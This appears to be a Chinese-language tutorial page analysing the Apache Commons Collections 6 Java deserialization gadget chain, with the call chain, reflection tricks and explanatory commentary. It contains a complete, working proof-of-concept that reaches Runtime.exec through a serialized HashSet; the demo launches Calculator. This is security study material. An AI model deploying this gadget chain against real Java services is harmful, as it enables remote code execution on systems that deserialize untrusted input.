- 1 序列化与反序列化基础
- 2 漏洞基本原理
- 3 Java 反射
- 4 DNSURL gadget 分析
- 1 背景介绍
- 2 CommonsCollections 1 Gadget 分析
- 3 CommonsCollections 6 Gadget 分析
- 4 CommonsCollections 2&&4 Gadget 分析
- JDK 7U21 Gadget
- 1 原理
- 2 构造
- 3 调用链
- 4 总结
- 1 Java 动态加载字节码
- 2 CommonsCollections 3 Gadget 分析
- 3 CommonsCollections 5 Gadget 分析
- 4 CommonsCollections 7 Gadget 分析
- 反序列化攻击涉及到的相关协议
- 1 RMI
- 2 JNDI
3 CommonsCollections 6 Gadget 分析
3.1 调用链
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
3.2 POC
public class Main {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry te = new TiedMapEntry(lazyMap, "poc");
HashSet ht = new HashSet();
ht.add(te);
innerMap.remove("poc");
Class c = LazyMap.class;
Field f = c.getDeclaredField("factory");
f.setAccessible(true);
f.set(lazyMap, transformerChain);
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(ht);
oos.close();
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
3.3 分析
CommonsCollections 6 的 sink 链使用的依旧是 InvokerTransformer
反射接口,利用 ChainedTransformer
串联三次 InvokerTransformer
反射和 ConstantTransformer
接口,获取 Runtime 类。
在 CommonsCollections 1
中,通过交叉引用搜索到另外一个类 LazyMap
中的 get
方法调用了 transform
方法。
通过调用 LazyMap.decorate
方法,将恶意的 ChainedTransformer
赋值给 LazyMap#factory
,当调用 LazyMap#get(Object key)
方法,则会触发恶意代码的执行。(与 CommonsCollections 1、CommonsCollections 5 的 sink 点相同)
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
outerMap.get("poc");
}
CommonsCollections 6 gadget 作者找到了 TiedMapEntry
类,其中在 TiedMapEntry#getValue()
方法中调用了 this.map.get(this.key)
方法。
public Object getValue() {
return this.map.get(this.key);
}
调用 TiedMapEntry(Map map, Object key)
构造方法,可以为 TiedMapEntry#map
赋值
在 TiedMapEntry
中的 equals(Object obj)
、 hashCode()
、 toString()
方法中都调用了 TiedMapEntry#getValue()
方法。这里作者选择调用 TiedMapEntry#hashCode()
方法。
接下来的思路就和 DNSURL 链类似,通过 HashMap 入口进行反序列化。
TiedMapEntry te = new TiedMapEntry(lazyMap, "Geekby");
te.hashCode();
但是,在构造 HashMap 时,调用 put 方法,执行 hashcode 方法,会直接执行后续的命令执行操作,情况和 DNSURL 链相似,因此,需要通过反射来进行一些设置。
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry te = new TiedMapEntry(lazyMap, "Geekby");
HashMap<Object, Object> ht = new HashMap<>();
ht.put(te, null);
// ht put 后,调用 TiedMapEntry#hashCode 中 getValue()
// 调用 lazyMap#get 方法
// 判断 innerMap 中是否含有 "Geekby" 这个 key
// 没有,进入 if 逻辑,调用 transform,向 innerMap 中添加对应的 Key:Value
// 然后再删除这个键值对,便于后续反序列化再次进入 if 逻辑。
innerMap.remove("Geekby");
// 此外将 LazyMap#factory 属性还原为 transformerChain (防止构造时就执行)
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, transformerChain);
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论